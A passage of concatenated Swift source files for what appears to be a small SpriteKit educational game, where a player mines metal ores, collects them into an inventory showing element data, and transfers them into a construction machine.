inventoryView?.isDescendant(of: self.view!) == false { if !matListView.isDescendant(of: self.view!) { for node in touchedNode { if ((node.name?.contains("Raw")) == true) { return } } player.movePlayer(location, frame) } } } func checkTouchedNode(_ location: CGPoint) { let touchedNode = self.nodes(at: location) for node in touchedNode { if ((node.name?.contains("Lithium")) == true) { lithium?.hitWithPickaxed() } if ((node.name?.contains("Gold")) == true) { gold?.hitWithPickaxed() } if ((node.name?.contains("Aluminium")) == true) { aluminium?.hitWithPickaxed() } if ((node.name?.contains("Cobalt")) == true) { cobalt?.hitWithPickaxed() } if ((node.name?.contains("Silver")) == true) { silver?.hitWithPickaxed() } if ((node.name?.contains("Copper")) == true) { copper?.hitWithPickaxed() } if ((node.name?.contains("Lead")) == true) { lead?.hitWithPickaxed() } if ((node.name?.contains("Nickel")) == true) { nickel?.hitWithPickaxed() } } } public func didBegin(_ contact: SKPhysicsContact) { if contact.bodyA.node?.name == "Player" && ((contact.bodyB.node?.name?.contains("Material")) == true) { collisionBetween(player: contact.bodyA.node!, material: contact.bodyB.node!) } else if contact.bodyB.node?.name == "Player" && ((contact.bodyA.node?.name?.contains("Material")) == true){ collisionBetween(player: contact.bodyB.node!, material: contact.bodyA.node!) } if contact.bodyA.node?.name == "Player" && ((contact.bodyB.node?.name?.contains("Door")) == true) { collisionBetween(player: contact.bodyA.node!, door: contact.bodyB.node!) } else if contact.bodyB.node?.name == "Player" && ((contact.bodyA.node?.name?.contains("Door")) == true){ collisionBetween(player: contact.bodyB.node!, door: contact.bodyA.node!) } } func collisionBetween(player: SKNode, material: SKNode) { material.removeFromParent() inventory.append(material.name!) self.player.jumpPlayer() showObtainedLabel() totalRaws -= 1 if totalRaws == 0 { self.addChild(door!) } } func collisionBetween(player: SKNode, door: SKNode) { player.removeFromParent() level += 1 if level > 2 { for view in self.view!.subviews { view.removeFromSuperview() } let scene = EndScene(size: self.frame.size, inventory: self.inventory) let transition:SKTransition = SKTransition.fade(withDuration: 1) self.view?.presentScene(scene, transition: transition) } else { setupLevel() } } } <file_sep>import Foundation import SpriteKit public class MachineNode: SKNode { public init(size: CGSize, position: CGPoint) { super.init() let machine = SKSpriteNode(imageNamed: "Machine") machine.name = "Machine" machine.position = position machine.size = CGSize(width: size.width, height: size.height) machine.zPosition = 1 machine.xScale = -1 machine.physicsBody = SKPhysicsBody(rectangleOf: machine.size) machine.physicsBody?.isDynamic = false machine.physicsBody?.allowsRotation = false machine.physicsBody?.affectedByGravity = false addChild(machine) } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import UIKit public class DialogView: UIView { var dialogLabel = UILabel() var speaker1 = UILabel() var speaker2 = UILabel() var imageView1 = UIImageView() var imageView2 = UIImageView() public override init(frame: CGRect) { super.init(frame: frame) self.frame = CGRect(x: 0, y: 0, width: 500, height: 350) imageView1.contentMode = .scaleAspectFit self.addSubview(imageView1) imageView1.widthAnchor.constraint(equalToConstant: 200).isActive = true imageView1.heightAnchor.constraint(equalToConstant: 200).isActive = true imageView1.bottomAnchor.constraint(equalTo: self.bottomAnchor, constant: -90).isActive = true imageView1.leadingAnchor.constraint(equalTo: self.leadingAnchor).isActive = true imageView1.translatesAutoresizingMaskIntoConstraints = false imageView2.contentMode = .scaleAspectFit imageView2.transform = CGAffineTransform(scaleX: -1, y: 1) self.addSubview(imageView2) imageView2.widthAnchor.constraint(equalToConstant: 200).isActive = true imageView2.heightAnchor.constraint(equalToConstant: 200).isActive = true imageView2.bottomAnchor.constraint(equalTo: self.bottomAnchor, constant: -90).isActive = true imageView2.trailingAnchor.constraint(equalTo: self.trailingAnchor).isActive = true imageView2.translatesAutoresizingMaskIntoConstraints = false let container = UIView() container.center.x = self.center.x container.backgroundColor = .white container.layer.masksToBounds = true container.layer.borderColor = UIColor.systemYellow.cgColor container.layer.borderWidth = 2.0 container.layer.cornerRadius = 10 self.addSubview(container) container.centerXAnchor.constraint(equalTo: self.centerXAnchor).isActive = true container.heightAnchor.constraint(equalToConstant: 150).isActive = true container.leadingAnchor.constraint(equalTo: self.leadingAnchor).isActive = true container.trailingAnchor.constraint(equalTo: self.trailingAnchor).isActive = true container.bottomAnchor.constraint(equalTo: self.bottomAnchor).isActive = true container.translatesAutoresizingMaskIntoConstraints = false speaker1.font = UIFont.boldSystemFont(ofSize: 18) container.addSubview(speaker1) speaker1.topAnchor.constraint(equalTo: container.topAnchor, constant: 10).isActive = true speaker1.leadingAnchor.constraint(equalTo: container.leadingAnchor, constant: 15).isActive = true speaker1.translatesAutoresizingMaskIntoConstraints = false speaker2.font = UIFont.boldSystemFont(ofSize: 18) container.addSubview(speaker2) speaker2.topAnchor.constraint(equalTo: container.topAnchor, constant: 10).isActive = true speaker2.trailingAnchor.constraint(equalTo: container.trailingAnchor, constant: -15).isActive = true speaker2.translatesAutoresizingMaskIntoConstraints = false dialogLabel.font = UIFont.systemFont(ofSize: 18) dialogLabel.numberOfLines = 0 dialogLabel.textAlignment = .justified container.addSubview(dialogLabel) dialogLabel.topAnchor.constraint(equalTo: container.topAnchor, constant: 50).isActive = true dialogLabel.leadingAnchor.constraint(equalTo: container.leadingAnchor, constant: 15).isActive = true dialogLabel.trailingAnchor.constraint(equalTo: container.trailingAnchor, constant: -15).isActive = true dialogLabel.translatesAutoresizingMaskIntoConstraints = false } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import Foundation import SpriteKit public class CeilingNode: SKNode { public init(size: CGSize) { super.init() let ceiling = SKSpriteNode(imageNamed: "Ceiling") let imageHeight: CGFloat = 137 ceiling.position = (CGPoint(x: size.width / 2, y: (size.height + 10) - (imageHeight / 2))) ceiling.size = CGSize(width: size.width, height: imageHeight) ceiling.zPosition = -1 addChild(ceiling) } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import Foundation import SpriteKit public class PlayerNode: SKNode { private var playerWalkTextures: [SKTexture] = [] private var playerJumpTextures: [SKTexture] = [] private var player = SKSpriteNode() public override init() { super.init() player = SKSpriteNode(imageNamed: "Player") player.name = "Player" player.position = CGPoint(x: 100, y: 100) player.size = CGSize(width: 50, height: 50) player.physicsBody = SKPhysicsBody(rectangleOf: player.size) player.physicsBody?.allowsRotation = false player.physicsBody?.affectedByGravity = true player.physicsBody!.contactTestBitMask = player.physicsBody!.collisionBitMask player.zPosition = 15 addChild(player) for i in 1...5 { playerWalkTextures.append(SKTexture(imageNamed: "Walk (\(i))")) } for i in 1...7 { playerJumpTextures.append(SKTexture(imageNamed: "Jump (\(i))")) } } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } func animatePlayerWalk() { player.run(SKAction.repeatForever(SKAction.animate(with: playerWalkTextures, timePerFrame: 0.1)), withKey: "walkingPlayer") } func animatePlayerJump() { let jumpAction = SKAction.animate(with: playerJumpTextures, timePerFrame: 0.1) let doneAction = SKAction.run({ [weak self] in self?.playerMoveEnded() }) let sequence = SKAction.sequence([jumpAction, doneAction]) player.run(sequence) } func playerMoveEnded() { player.removeAllActions() player.texture = SKTexture(imageNamed: "Player") } public func jumpPlayer() { player.removeAllActions() animatePlayerJump() } public func movePlayer(_ location: CGPoint, _ frame: CGRect) { var multiplierForDirection: CGFloat let playerSpeed = frame.size.width / 3.0 let moveDifference = CGPoint(x: location.x - player.position.x, y: player.position.y) // player.position.y let distanceToMove = sqrt(moveDifference.x * moveDifference.x) // + moveDifference.y * moveDifference.y let moveDuration = distanceToMove / playerSpeed if location.x > player.frame.midX { multiplierForDirection = 1.0 } else { multiplierForDirection = -1.0 } player.xScale = abs(player.xScale) * multiplierForDirection if player.action(forKey: "walkingPlayer") == nil { animatePlayerWalk() } let moveAction = SKAction.moveTo(x: location.x, duration:(TimeInterval(moveDuration))) let doneAction = SKAction.run({ [weak self] in self?.playerMoveEnded() }) let moveActionWithDone = SKAction.sequence([moveAction, doneAction]) player.run(moveActionWithDone, withKey:"playerMoving") } } <file_sep>import UIKit // MARK:- InventoryImageButton public class InventoryImageButton: UIButton { public override init(frame: CGRect) { super.init(frame: frame) self.frame = CGRect(x: frame.origin.x, y: frame.origin.y, width: 40, height: 40) self.titleLabel?.font = UIFont.systemFont(ofSize: 17) self.setImage(UIImage(named: "Bag"), for: .normal) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } // MARK:- InventoryView public class InventoryView: UIView, UICollectionViewDataSource, UICollectionViewDelegate { public var inventory: [String] = [] var collectionViewContainer = UIView() var imageViewContainer = UIView() var imageView = UIImageView() var shortDescContainer = UIView() var nameLabel = UILabel() var symbolLabel = UILabel() var atomicNumLabel = UILabel() var atomicMassLabel = UILabel() var descTextView = UITextView() var collectionView: UICollectionView! var selectedItems: String? public init(frame: CGRect, pInventory: [String]) { super.init(frame: frame) for i in 0...23 { if pInventory.indices.contains(i) { inventory.append(pInventory[i]) } else { inventory.append("") } } self.backgroundColor = .white self.layer.masksToBounds = true self.layer.borderColor = UIColor.systemYellow.cgColor self.layer.borderWidth = 2.0 self.layer.cornerRadius = 10 let title = UILabel() title.text = "Inventory" title.font = UIFont.boldSystemFont(ofSize: 18) title.textColor = .black self.addSubview(title) title.topAnchor.constraint(equalTo: self.topAnchor, constant: 20).isActive = true title.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 20).isActive = true title.translatesAutoresizingMaskIntoConstraints = false let closeButton = UIButton() closeButton.setTitle("Close [x]", for: .normal) closeButton.titleLabel?.font = UIFont.systemFont(ofSize: 14) closeButton.setTitleColor(UIColor.black, for: .normal) self.addSubview(closeButton) closeButton.topAnchor.constraint(equalTo: self.topAnchor, constant: 20).isActive = true closeButton.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -20).isActive = true closeButton.translatesAutoresizingMaskIntoConstraints = false closeButton.addTarget(self, action: #selector(close), for: .touchUpInside) collectionViewContainer.backgroundColor = .lightGray self.addSubview(collectionViewContainer) collectionViewContainer.topAnchor.constraint(equalTo: self.topAnchor, constant: 56).isActive = true collectionViewContainer.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 20).isActive = true collectionViewContainer.widthAnchor.constraint(equalToConstant: 120).isActive = true collectionViewContainer.heightAnchor.constraint(equalToConstant: 320).isActive = true collectionViewContainer.translatesAutoresizingMaskIntoConstraints = false imageViewContainer.backgroundColor = .lightGray self.addSubview(imageViewContainer) imageViewContainer.topAnchor.constraint(equalTo: self.topAnchor, constant: 56).isActive = true imageViewContainer.leadingAnchor.constraint(equalTo: collectionViewContainer.trailingAnchor, constant: 20).isActive = true imageViewContainer.widthAnchor.constraint(equalToConstant: 80).isActive = true imageViewContainer.heightAnchor.constraint(equalToConstant: 80).isActive = true imageViewContainer.translatesAutoresizingMaskIntoConstraints = false imageView.contentMode = .scaleAspectFit self.addSubview(imageView) imageView.topAnchor.constraint(equalTo: imageViewContainer.topAnchor, constant: 5).isActive = true imageView.leadingAnchor.constraint(equalTo: imageViewContainer.leadingAnchor, constant: 5).isActive = true imageView.trailingAnchor.constraint(equalTo: imageViewContainer.trailingAnchor, constant: -5).isActive = true imageView.bottomAnchor.constraint(equalTo: imageViewContainer.bottomAnchor, constant: -5).isActive = true imageView.translatesAutoresizingMaskIntoConstraints = false shortDescContainer.backgroundColor = .white self.addSubview(shortDescContainer) shortDescContainer.topAnchor.constraint(equalTo: self.topAnchor, constant: 56).isActive = true shortDescContainer.leadingAnchor.constraint(equalTo: imageViewContainer.trailingAnchor, constant: 15).isActive = true shortDescContainer.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -20).isActive = true shortDescContainer.widthAnchor.constraint(equalToConstant: 220).isActive = true shortDescContainer.heightAnchor.constraint(equalToConstant: 80).isActive = true shortDescContainer.translatesAutoresizingMaskIntoConstraints = false nameLabel.textColor = .black nameLabel.font = UIFont.boldSystemFont(ofSize: 16) self.addSubview(nameLabel) nameLabel.topAnchor.constraint(equalTo: shortDescContainer.topAnchor).isActive = true nameLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true nameLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true nameLabel.translatesAutoresizingMaskIntoConstraints = false symbolLabel.textColor = .black symbolLabel.font = UIFont.systemFont(ofSize: 13) self.addSubview(symbolLabel) symbolLabel.topAnchor.constraint(equalTo: nameLabel.bottomAnchor, constant: 3).isActive = true symbolLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true symbolLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true symbolLabel.translatesAutoresizingMaskIntoConstraints = false atomicNumLabel.textColor = .black atomicNumLabel.font = UIFont.systemFont(ofSize: 13) self.addSubview(atomicNumLabel) atomicNumLabel.topAnchor.constraint(equalTo: symbolLabel.bottomAnchor, constant: 3).isActive = true atomicNumLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true atomicNumLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true atomicNumLabel.translatesAutoresizingMaskIntoConstraints = false atomicMassLabel.textColor = .black atomicMassLabel.font = UIFont.systemFont(ofSize: 13) self.addSubview(atomicMassLabel) atomicMassLabel.topAnchor.constraint(equalTo: atomicNumLabel.bottomAnchor, constant: 3).isActive = true atomicMassLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true atomicMassLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true atomicMassLabel.translatesAutoresizingMaskIntoConstraints = false descTextView.backgroundColor = .lightGray descTextView.isEditable = false descTextView.textAlignment = .justified self.addSubview(descTextView) descTextView.topAnchor.constraint(equalTo: imageViewContainer.bottomAnchor, constant: 20).isActive = true descTextView.leadingAnchor.constraint(equalTo: collectionViewContainer.trailingAnchor, constant: 20).isActive = true descTextView.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -20).isActive = true descTextView.widthAnchor.constraint(equalToConstant: 330).isActive = true descTextView.heightAnchor.constraint(equalToConstant: 220).isActive = true descTextView.translatesAutoresizingMaskIntoConstraints = false selectedItems = inventory[0] selectItem() setupCollectionView() } func selectItem() { imageView.image = UIImage(named: selectedItems!) let materialsData = MaterialData().materials let filtered = materialsData.filter { $0.key == selectedItems! } if filtered.count > 0 { let mat = filtered[0] nameLabel.text = mat.name symbolLabel.text = "Symbol: \(mat.symbol)" atomicNumLabel.text = "Atomic Number: \(mat.atomicNumber)" atomicMassLabel.text = "Atomic Mass: \(mat.atomicMass)" descTextView.text = mat.desccription } } @objc func close(sender: UIButton) { self.removeFromSuperview() } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } func setupCollectionView() { let layout: UICollectionViewFlowLayout = UICollectionViewFlowLayout() layout.sectionInset = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0) layout.itemSize = CGSize(width: 39, height: 39) layout.minimumLineSpacing = 1 layout.minimumInteritemSpacing = 1 collectionView = UICollectionView(frame: collectionViewContainer.frame, collectionViewLayout: layout) collectionView.dataSource = self collectionView.delegate = self collectionView.register(InventoryCollectionViewCell.self, forCellWithReuseIdentifier: "Cell") collectionViewContainer.addSubview(collectionView) collectionView.topAnchor.constraint(equalTo: collectionViewContainer.topAnchor).isActive = true collectionView.leadingAnchor.constraint(equalTo: collectionViewContainer.leadingAnchor).isActive = true collectionView.trailingAnchor.constraint(equalTo: collectionViewContainer.trailingAnchor).isActive = true collectionView.bottomAnchor.constraint(equalTo: collectionViewContainer.bottomAnchor).isActive = true collectionView.translatesAutoresizingMaskIntoConstraints = false } public func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return inventory.count } public func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "Cell", for: indexPath) as! InventoryCollectionViewCell cell.backgroundColor = .lightGray let inventoryName = inventory[indexPath.item] cell.imageView?.image = UIImage(named: inventoryName) if inventoryName == selectedItems && inventoryName != "" { cell.backgroundColor = .systemTeal } return cell } public func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { let inventoryName = inventory[indexPath.item] if inventoryName != "" { imageView.image = UIImage(named: inventoryName) selectedItems = inventoryName selectItem() collectionView.reloadData() } } } public class InventoryCollectionViewCell: UICollectionViewCell { var imageView: UIImageView? override init(frame: CGRect) { super.init(frame: frame) imageView = UIImageView(frame: self.bounds) imageView!.contentMode = .scaleAspectFit contentView.addSubview(imageView!) imageView!.topAnchor.constraint(equalTo: contentView.topAnchor, constant: 5).isActive = true imageView!.leadingAnchor.constraint(equalTo: contentView.leadingAnchor, constant: 5).isActive = true imageView!.trailingAnchor.constraint(equalTo: contentView.trailingAnchor, constant: -5).isActive = true imageView!.bottomAnchor.constraint(equalTo: contentView.bottomAnchor, constant: -5).isActive = true imageView!.translatesAutoresizingMaskIntoConstraints = false } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } public override var bounds: CGRect { didSet { contentView.frame = bounds } } } <file_sep>import Foundation import SpriteKit public class MaterialNode: SKNode { private var pickaxeTextures: [SKTexture] = [] private var pickaxe = SKSpriteNode() private var material = SKSpriteNode() private var indicator = SKShapeNode() private var nodeName: String = "" public init(nodeName: String, size: CGSize, position: CGPoint, physicBody: Bool = true, skipRaw: Bool = false) { super.init() self.nodeName = nodeName pickaxe.position = CGPoint(x: position.x + 20, y: position.y - 5) pickaxe.size = CGSize(width: 40, height: 40) pickaxe.zPosition = 3 addChild(pickaxe) for i in 1...5 { pickaxeTextures.append(SKTexture(imageNamed: "Pickaxe (\(i))")) } material.texture = SKTexture(imageNamed: "\(nodeName)Raw") material.name = "\(nodeName)Raw" material.position = position material.size = size material.zPosition = 1 material.isUserInteractionEnabled = true if(physicBody) { material.physicsBody = SKPhysicsBody(rectangleOf: material.size) material.physicsBody?.affectedByGravity = false material.physicsBody!.contactTestBitMask = material.physicsBody!.collisionBitMask material.physicsBody?.affectedByGravity = false } addChild(material) indicator.path = UIBezierPath(roundedRect: CGRect(x: 0, y: 0, width: 20, height: 20), cornerRadius: 50).cgPath indicator.position = CGPoint(x: material.position.x - 10, y: material.position.y - 10) indicator.fillColor = UIColor.lightGray indicator.strokeColor = UIColor.gray indicator.lineWidth = 2 indicator.zPosition = 2 indicator.alpha = 0.7 addChild(indicator) if skipRaw { indicator.removeFromParent() transformToMaterial() } } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } func animatePickaxed() { pickaxe.run(SKAction.repeatForever(SKAction.animate(with: pickaxeTextures, timePerFrame: 0.1)), withKey: "pickaxed") indicator.removeFromParent() } func stoneAnimateEnded() { pickaxe.removeAllActions() } public func hitWithPickaxed() { material.isUserInteractionEnabled = false if pickaxe.action(forKey: "pickaxed") == nil { animatePickaxed() } Timer.scheduledTimer(withTimeInterval: 2.0, repeats: false, block: { [self] (time) in stoneAnimateEnded() pickaxe.removeFromParent() transformToMaterial() }) } public func transformToMaterial() { material.isUserInteractionEnabled = false material.zPosition = 3 material.name = "\(nodeName)Material" material.texture = SKTexture(imageNamed: "\(nodeName)Material") material.size = CGSize(width: 30, height: 20) material.physicsBody = SKPhysicsBody(rectangleOf: material.size) material.physicsBody?.affectedByGravity = true } } <file_sep>import UIKit protocol MachineProtocol { func constructionFinish() } public class MachineView: UIView, UICollectionViewDataSource, UICollectionViewDelegate { public var inventory: [String] = [] let invCollectionViewContainer = UIView() let imageView = UIImageView() let nameLabel = UILabel() let symbolLabel = UILabel() let atomicNumLabel = UILabel() var invCollectionView: UICollectionView! let inventoryContainer = UIView() var selectedInventoryItem: String? let machineContainer = UIView() let constructButton = MachineButton(label: "Construct") let transferAllButton = MachineButton(label: "Transfer All") let transferButton = MachineButton(label: "Transfer") let goldItem = MachineItemView(name: "Gold", imageName: "GoldMaterial") let lithiumItem = MachineItemView(name: "Lithium", imageName: "LithiumMaterial") let silverItem = MachineItemView(name: "Silver", imageName: "SilverMaterial") let copperItem = MachineItemView(name: "Copper", imageName: "CopperMaterial") let aluminiumItem = MachineItemView(name: "Aluminium", imageName: "AluminiumMaterial") let leadItem = MachineItemView(name: "Lead", imageName: "LeadMaterial") let nickelItem = MachineItemView(name: "Nickel", imageName: "NickelMaterial") let cobaltItem = MachineItemView(name: "Cobalt", imageName: "CobaltMaterial") let plasticItem = MachineItemView(name: "Plastic", imageName: "PlasticMaterial") var itemReady: Int = 0 var delegate: MachineProtocol? public init(frame: CGRect, pInventory: [String]) { super.init(frame: frame) for i in 0...9 { if pInventory.indices.contains(i) { inventory.append(pInventory[i]) } else { inventory.append("") } } setupInventory() setupMachine() } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } //MARK:- Setup Inventory func setupInventory() { inventoryContainer.backgroundColor = .white inventoryContainer.layer.masksToBounds = true inventoryContainer.layer.borderColor = UIColor.systemYellow.cgColor inventoryContainer.layer.borderWidth = 2.0 inventoryContainer.layer.cornerRadius = 10 self.addSubview(inventoryContainer) inventoryContainer.topAnchor.constraint(equalTo: self.topAnchor).isActive = true inventoryContainer.leadingAnchor.constraint(equalTo: self.leadingAnchor).isActive = true inventoryContainer.bottomAnchor.constraint(equalTo: self.bottomAnchor).isActive = true inventoryContainer.widthAnchor.constraint(equalToConstant: 160).isActive = true inventoryContainer.translatesAutoresizingMaskIntoConstraints = false let title = UILabel() title.text = "Inventory" title.font = UIFont.boldSystemFont(ofSize: 18) title.textColor = .black inventoryContainer.addSubview(title) title.topAnchor.constraint(equalTo: inventoryContainer.topAnchor, constant: 20).isActive = true title.leadingAnchor.constraint(equalTo: inventoryContainer.leadingAnchor, constant: 20).isActive = true title.translatesAutoresizingMaskIntoConstraints = false invCollectionViewContainer.backgroundColor = .lightGray inventoryContainer.addSubview(invCollectionViewContainer) invCollectionViewContainer.topAnchor.constraint(equalTo: title.bottomAnchor, constant: 15).isActive = true invCollectionViewContainer.leadingAnchor.constraint(equalTo: inventoryContainer.leadingAnchor, constant: 20).isActive = true invCollectionViewContainer.trailingAnchor.constraint(equalTo: inventoryContainer.trailingAnchor, constant: -20).isActive = true invCollectionViewContainer.heightAnchor.constraint(equalToConstant: 120).isActive = true invCollectionViewContainer.translatesAutoresizingMaskIntoConstraints = false let imageViewContainer = UIView() imageViewContainer.backgroundColor = .lightGray inventoryContainer.addSubview(imageViewContainer) imageViewContainer.topAnchor.constraint(equalTo: invCollectionViewContainer.bottomAnchor, constant:15).isActive = true imageViewContainer.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 20).isActive = true imageViewContainer.widthAnchor.constraint(equalToConstant: 60).isActive = true imageViewContainer.heightAnchor.constraint(equalToConstant: 60).isActive = true imageViewContainer.translatesAutoresizingMaskIntoConstraints = false imageView.contentMode = .scaleAspectFit inventoryContainer.addSubview(imageView) imageView.topAnchor.constraint(equalTo: imageViewContainer.topAnchor, constant: 5).isActive = true imageView.leadingAnchor.constraint(equalTo: imageViewContainer.leadingAnchor, constant: 5).isActive = true imageView.trailingAnchor.constraint(equalTo: imageViewContainer.trailingAnchor, constant: -5).isActive = true imageView.bottomAnchor.constraint(equalTo: imageViewContainer.bottomAnchor, constant: -5).isActive = true imageView.translatesAutoresizingMaskIntoConstraints = false let shortDescContainer = UIView() shortDescContainer.backgroundColor = .white inventoryContainer.addSubview(shortDescContainer) shortDescContainer.topAnchor.constraint(equalTo: imageViewContainer.bottomAnchor, constant: 15).isActive = true shortDescContainer.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 20).isActive = true shortDescContainer.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -20).isActive = true shortDescContainer.heightAnchor.constraint(equalToConstant: 65).isActive = true shortDescContainer.translatesAutoresizingMaskIntoConstraints = false nameLabel.textColor = .black nameLabel.font = UIFont.boldSystemFont(ofSize: 16) inventoryContainer.addSubview(nameLabel) nameLabel.topAnchor.constraint(equalTo: shortDescContainer.topAnchor).isActive = true nameLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true nameLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true nameLabel.translatesAutoresizingMaskIntoConstraints = false symbolLabel.textColor = .black symbolLabel.font = UIFont.systemFont(ofSize: 13) inventoryContainer.addSubview(symbolLabel) symbolLabel.topAnchor.constraint(equalTo: nameLabel.bottomAnchor, constant: 3).isActive = true symbolLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true symbolLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true symbolLabel.translatesAutoresizingMaskIntoConstraints = false atomicNumLabel.textColor = .black atomicNumLabel.font = UIFont.systemFont(ofSize: 13) inventoryContainer.addSubview(atomicNumLabel) atomicNumLabel.topAnchor.constraint(equalTo: symbolLabel.bottomAnchor, constant: 3).isActive = true atomicNumLabel.leadingAnchor.constraint(equalTo: shortDescContainer.leadingAnchor).isActive = true atomicNumLabel.trailingAnchor.constraint(equalTo: shortDescContainer.trailingAnchor).isActive = true atomicNumLabel.translatesAutoresizingMaskIntoConstraints = false transferButton.addTarget(self, action: #selector(transferButtonAction), for: .touchUpInside) inventoryContainer.addSubview(transferButton) transferButton.leadingAnchor.constraint(equalTo: inventoryContainer.leadingAnchor, constant: 20).isActive = true transferButton.trailingAnchor.constraint(equalTo: inventoryContainer.trailingAnchor, constant: -20).isActive = true transferButton.bottomAnchor.constraint(equalTo: inventoryContainer.bottomAnchor, constant: -20).isActive = true transferButton.centerXAnchor.constraint(equalTo: inventoryContainer.centerXAnchor).isActive = true transferButton.heightAnchor.constraint(equalToConstant: 35).isActive = true transferButton.translatesAutoresizingMaskIntoConstraints = false selectedInventoryItem = inventory[0] selectInventoryItem() setupCollectionView() } @objc func transferButtonAction(sender : UIButton) { if let item = selectedInventoryItem { let inventIndex = inventory.firstIndex(of: item) if let index = inventIndex { showMachineItemImage() inventory[index] = "" if index + 1 < 9 { selectedInventoryItem = inventory[index + 1] selectInventoryItem() } itemReady += 1 if itemReady == 9 { constructButton.isHidden = false transferButton.removeFromSuperview() transferAllButton.removeFromSuperview() selectedInventoryItem = "" selectInventoryItem() } invCollectionView.reloadData() } } } func showMachineItemImage() { if selectedInventoryItem == goldItem.imageView.restorationIdentifier { goldItem.imageView.isHidden = false } else if selectedInventoryItem == silverItem.imageView.restorationIdentifier { silverItem.imageView.isHidden = false } else if selectedInventoryItem == copperItem.imageView.restorationIdentifier { copperItem.imageView.isHidden = false } else if selectedInventoryItem == lithiumItem.imageView.restorationIdentifier { lithiumItem.imageView.isHidden = false } else if selectedInventoryItem == aluminiumItem.imageView.restorationIdentifier { aluminiumItem.imageView.isHidden = false } else if selectedInventoryItem == leadItem.imageView.restorationIdentifier { leadItem.imageView.isHidden = false } else if selectedInventoryItem == nickelItem.imageView.restorationIdentifier { nickelItem.imageView.isHidden = false } else if selectedInventoryItem == cobaltItem.imageView.restorationIdentifier { cobaltItem.imageView.isHidden = false } else if selectedInventoryItem == plasticItem.imageView.restorationIdentifier { plasticItem.imageView.isHidden = false } } func selectInventoryItem() { imageView.image = UIImage(named: selectedInventoryItem!) let materialsData = MaterialData().materials let filtered = materialsData.filter { $0.key == selectedInventoryItem! } if filtered.count > 0 { let mat = filtered[0] nameLabel.text = mat.name symbolLabel.text = "Symbol: \(mat.symbol)" atomicNumLabel.text = "Atomic Num: \(mat.atomicNumber)" } else { nameLabel.text = "" symbolLabel.text = "" atomicNumLabel.text = "" } } func setupCollectionView() { let layout: UICollectionViewFlowLayout = UICollectionViewFlowLayout() layout.sectionInset = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0) layout.itemSize = CGSize(width: 39, height: 39) layout.minimumLineSpacing = 1 layout.minimumInteritemSpacing = 1 invCollectionView = UICollectionView(frame: invCollectionViewContainer.frame, collectionViewLayout: layout) invCollectionView.dataSource = self invCollectionView.delegate = self invCollectionView.register(InventoryCollectionViewCell.self, forCellWithReuseIdentifier: "Cell") invCollectionViewContainer.addSubview(invCollectionView) invCollectionView.topAnchor.constraint(equalTo: invCollectionViewContainer.topAnchor).isActive = true invCollectionView.leadingAnchor.constraint(equalTo: invCollectionViewContainer.leadingAnchor).isActive = true invCollectionView.trailingAnchor.constraint(equalTo: invCollectionViewContainer.trailingAnchor).isActive = true invCollectionView.bottomAnchor.constraint(equalTo: invCollectionViewContainer.bottomAnchor).isActive = true invCollectionView.translatesAutoresizingMaskIntoConstraints = false } public func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return inventory.count } public func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "Cell", for: indexPath) as! InventoryCollectionViewCell cell.backgroundColor = .lightGray let inventoryName = inventory[indexPath.item] cell.imageView?.image = UIImage(named: inventoryName) if inventoryName == selectedInventoryItem && inventoryName != "" { cell.backgroundColor = .systemTeal } return cell } public func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { let inventoryName = inventory[indexPath.item] if inventoryName != "" { imageView.image = UIImage(named: inventoryName) selectedInventoryItem = inventoryName selectInventoryItem() collectionView.reloadData() } } //MARK:- Setup Machine func setupMachine() { machineContainer.backgroundColor = .white machineContainer.layer.masksToBounds = true machineContainer.layer.borderColor = UIColor.systemYellow.cgColor machineContainer.layer.borderWidth = 2.0 machineContainer.layer.cornerRadius = 10 self.addSubview(machineContainer) machineContainer.topAnchor.constraint(equalTo: self.topAnchor).isActive = true machineContainer.trailingAnchor.constraint(equalTo: self.trailingAnchor).isActive = true machineContainer.leadingAnchor.constraint(equalTo: inventoryContainer.trailingAnchor, constant: 